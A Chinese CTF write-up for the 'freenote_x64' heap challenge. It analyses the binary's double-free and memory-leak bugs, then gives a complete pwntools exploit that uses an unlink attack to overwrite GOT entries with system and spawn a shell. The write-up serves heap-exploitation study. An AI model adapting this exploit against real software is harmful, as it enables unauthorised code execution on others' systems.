double free,unlink 覆写 got 表
# 0x01 程序分析
主函数:

之后
sub_400A49:用户初始堆分配
sub_400998:要求输入一个操作选项
sub_400B14:遍历索引打印所有标号和记录内容
sub_400BC2:  要求输入记录的内容长度和记录内容,然后检测输入长度是否超过最大值,正常则 malloc 一个堆块用来存储记录,然后按输入的长度读取记录内容到堆块:

sub_400D87:编辑,是一个 realloc,可以泄露堆溢出

堆 v2 也就是 size 进行了要求,在最后的 sub_40085D 函数中进行了内容读取,这里没有将字符串结束符读进来因此可以进行内存泄露,泄露偏移和 system 地址。

sub_400f7d:删除功能,依据标号找到相应的记录然后重置索引表为未使用态并 free 掉堆块,存在 double free 漏洞
unlink 思路
- 利用 unsorted bin的fd指针分别泄露出heap地址和libc地址,这样就得到了最初那个0x1820大小的chunk的地址
- 利用 realloc功能来构造unlink条件,结合uaf漏洞,修改某个ptr为ptr - 0x18,这个ptr在0x1820堆块上
- 利用 edit修改atoi@got为system地址
- 输入 /bin/sh拿shell
# 0x02 漏洞利用
添加四个 Note,释放 note [0] 和 note [2],此时 note [0] 的 bk 指向 note [2] 的 chunk,note [2] 的 bk 指向 main_arena+0x58(两个 chunk 都进入 unsorted bin)
再次添加 2 个 note,payload 长度为 8,注意结尾不要是 \x00
 利用 list 泄露 NOTE 管理块的地址和 libc 基地址
将四个 note 全部删除
添加一个 note,长度要能包含进最开始的 3 个 note 的 chunk
 伪造一个 chunk,大小为 0x80,fd 为 note [0]-0x18, bk 为 note [0]-0x10,利用 unlink 把 NOTE 管理块中 note [0] 的地址改为 note [0]-0x18
 把 note [0] 改为 atoi 的 got,然后编辑 note [0],改为 system 地址
输入 /bin/sh,获取 shell
先申请 4 个 chunk,然后 free (0) 和 free (2),防止合并;然后在申请 2 个 chunk,只写入 8 字节,就可以 leak 出 heap 和 libc 的基地址;
 在 heap 基地址偏移 0x30 的地方有我们需要的 NOTE 管理块的地址

# 0x03 EXP
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 175
 
 | 
 
 
 from pwn import *
 context.log_level = 'debug'
 
 p=process('./freenote_x64')
 
 
 libc=ELF('libc-2.23.so')
 
 
 
 e=ELF('./freenote_x64')
 
 def List():
 
 p.recvuntil('Your choice: ')
 
 p.sendline('1')
 
 
 def new(cont):
 
 p.recvuntil('Your choice: ')
 
 p.sendline('2')
 
 p.recvuntil('Length of new note: ')
 
 p.sendline(str(len(cont)))
 
 p.recvuntil('Enter your note: ')
 
 p.sendline(cont)
 
 
 
 def edit(num,cont):
 
 p.recvuntil('Your choice: ')
 
 p.sendline('3')
 
 p.recvuntil('Note number: ')
 
 p.sendline(str(num))
 
 p.recvuntil('Length of note: ')
 
 p.sendline(str(len(cont)))
 
 p.recvuntil('Enter your note: ')
 
 p.sendline(cont)
 
 
 
 def delete(num):
 
 p.recvuntil('Your choice: ')
 
 p.sendline('4')
 
 p.recvuntil('Note number: ')
 
 p.sendline(str(num))
 
 
 
 new('a'*0x80)
 
 new('b'*0x80)
 
 new('c'*0x80)
 
 new('d'*0x80)
 
 
 
 delete(0)
 
 delete(2)
 
 new('11111111')
 
 new('22222222')
 
 List()
 
 p.recvuntil('11111111')
 
 s=p.recvuntil('\x0a')
 
 chunk2=u64(s[:-1].ljust(8,'\x00'))
 
 heap_addr=chunk2-0x1940
 
 point_chunk0=heap_addr+0x30
 
 print hex(heap_addr)
 
 
 
 delete(1)
 
 delete(2)
 
 delete(3)
 
 
 
 
 
 payload = p64(0x90)+p64(0x81)+p64(point_chunk0-0x18)+p64(point_chunk0-0x10)
 
 payload +='a'*0x60
 
 payload += p64(0x80)+p64(0x90)
 
 payload +='c'*0x80+p64(0x90)+p64(0x121)
 
 edit(0,payload)
 
 delete(1)
 
 
 
 
 
 
 
 free_got_addr=e.got['free']
 
 print hex(free_got_addr)
 
 payload2=p64(4)+p64(1)+p64(0x8)+p64(free_got_addr)
 
 payload2+=p64(1)+p64(0x8)+p64(chunk2)
 
 payload2+=p64(1)+p64(0x8)+p64(e.got['atoi'])
 
 payload2+='\x00'*(0x120-80)
 
 edit(0,payload2)
 
 
 
 p.recvuntil('Your choice: Invalid!\n')
 
 
 
 List()
 
 p.recvuntil('2. ')
 
 atoi_in_server=u64(p.recvuntil('\x0a')[:-1].ljust(8,'\x00'))
 
 system_in_server=libc.symbols['system']+atoi_in_server-libc.symbols['atoi']
 
 
 
 
 
 payload3=p64(system_in_server)
 
 edit(0,payload3)
 
 edit(1,"/bin/sh\x00")
 
 delete(1)
 
 p.interactive()
 
 
 | 

# 0x04 参考文章
https://blog.csdn.net/weixin_45427676/article/details/105495608
https://www.cnblogs.com/LynneHuan/p/14869403.html